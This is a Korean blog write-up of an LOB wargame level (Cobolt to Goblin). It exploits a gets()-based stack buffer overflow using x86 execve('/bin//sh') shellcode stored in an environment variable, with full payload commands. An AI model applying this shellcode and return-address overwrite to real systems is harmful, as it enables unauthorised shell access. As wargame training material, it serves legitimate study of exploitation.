LOB : Cobolt → Goblin

LOB 2018. 4. 4. 21:37


이번 문제도 비슷하다. 대신 이번엔 argv로 입력을 받지 않고 gets()로 받는다.


우선 이럴 경우 값을 넘기는 방법은


(python -c 'print "[입력값]"';cat) | ./[실행프로그램]


이란것을 알고 넘어가자.



더미값은 여전히 없다. 즉 버퍼 16만큼 할당 받았으며 SFP를 포함하면 20바이트 후 ret가 존재한다는 것을 알 수 있다.



이번에도 버퍼크기상 쉘코드를 넣기 힘드니 환경변수를 사용할 것이다.

쉘코드의 이름을 SHELLCODE라고 할것이기에 코드를 이리 짰다.




export SHELLCODE=`python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

환경변수를 생성하고 주소를 알아보자.




주소가 0xbffffeba인 것을 확인했다.


이제 오버플로우 할 차례다.


위에서 말했듯이 SFP를 포함해 20바이트를 입력하고 ret값이 존재한다.

즉 20바이트를 입력하고 환경변수의 주소를 넣으면 쉘코드가 실행된다는 것이다.

그리고 글 처음에 언급한 대로 gets로 문자열을 받으므로 


(python -c 'print "\x90"*20 + "\xba\xfe\xff\xbf"';cat) | ./goblin


로 코드를 짠다. 물론 주소는 스몰엔디안 형식으로 반대로 넣어야 한다.




실행 결과 Goblin의 비밀번호를 알아 낼 수 있다.

'LOB' 카테고리의 다른 글

LOB : Wolfman → Darkelf  (0) 2018.04.08
LOB : Orc → Wolfman  (0) 2018.04.08
LOB : Goblin → Orc  (0) 2018.04.08
LOB : Gremlin → Cobolt  (0) 2018.04.04
LOB : Gate → Gremlin  (0) 2018.04.04
블로그 이미지

천재보다는 범재

,